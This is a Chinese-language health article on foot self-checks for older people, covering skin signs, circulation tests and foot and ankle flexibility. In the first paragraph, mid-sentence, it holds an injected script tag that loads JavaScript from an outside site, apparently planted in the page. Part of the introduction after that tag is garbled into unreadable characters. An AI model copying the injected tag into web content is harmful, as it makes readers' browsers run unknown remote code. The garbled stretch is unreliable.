如何进行足部健康自测
祖国医学认为，人体是一个有机的整体，无论哪个器官或系统出现疾病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>嵊跋烊淼慕】担阋膊焕猓悴坑胁〔坏跋烊斫】担硖迤渌课挥胁∫不岱从车阶悴浚氏忠斐Ｏ窒蟆＞＝凶悴拷】底圆猓梢约笆狈⑾治侍猓阑加谖慈唬灰扔辛瞬≡俚揭皆喝ブ瘟啤Ｓ绕涫抢夏耆耍Ｗ晕壹觳樽愕谋浠Ｏ旅姹菊揪拖晗附樯芤幌伦悴拷】底圆夥椒安街琛?/p>
一、皮肤外观的检查
足病变常常在皮肤上能表现出来。如果穿的鞋很挤脚，那么大拇趾的皮肤就会呈红色，如果不注意更换合适的鞋，脚就会受到压迫而破溃感染。另外注意第二趾跖骨头部位是否伴有疼痛，有无胼胝。有了这些症状可能病人的足横弓有塌陷了。
正常的脚拇趾负重占前足的30%。如果拇趾负重降低（比如说拇外翻），那么第二趾的负重就会比原来增加，这就可能表现在第二趾或第三趾的跖骨头下出现疼痛，出现胼胝体，这是因为老年人的足弓变扁平了，足变扁平后，力量的分布改变了，过去不负重的地方或者负重小的地方现在负重增加了，因而产生了新问题。
因此要先从足部的皮肤颜色上判断，看看有没有红肿、水泡，有没有受到刺激而发红。
二、血液循环的检查
血液循环是否正常可从皮肤的颜色表现出来，正常人足的颜色和其它部位的皮肤颜色是一样的。足部很容易发生一些血管的病变，比如说，动脉粥样硬化，糖尿病人动脉发生栓。下肢发生动脉栓塞以后，脚的颜色就有改变，触摸时会感到两脚的温度不一样，也可能脚的颜色变成轻紫色，这些就可以说明血液循环不好。
有一种简单的检查方法，就是用手压脚趾尖，正常人的趾尖用手压下去甲床立即变白，放开后两三秒就恢复到正常的颜色，如果颜色恢复很慢，就说明足趾的血液循环不好。
三、足踝的灵活性检查
老年人的足会变得僵硬些，怎样检查足的僵硬程度呢？我们可以在地上放一块毛巾或布，用脚趾去抓，能抓起来，说明您的足灵活性非常好，如果抓不起来，就说明足比较僵硬了。
踝关节的检查方法是：前足站在台阶上，脚跟往下放，此时会觉得跟腱受到牵拉，如果出现疼痛就不要继续动作，说明踝关节的活动已经受限了；如果只觉得比较紧张，足根部和小腿受牵拉，不是特别疼，这说明还有余地，经过锻炼可以改善你的踝关节的活动能力；如果受牵拉后跟腱疼得厉害，就不要做这种练习；如果你能把跟部放下去，不受任何限制，说明您的踝关节灵活性和柔韧性是非常好的。
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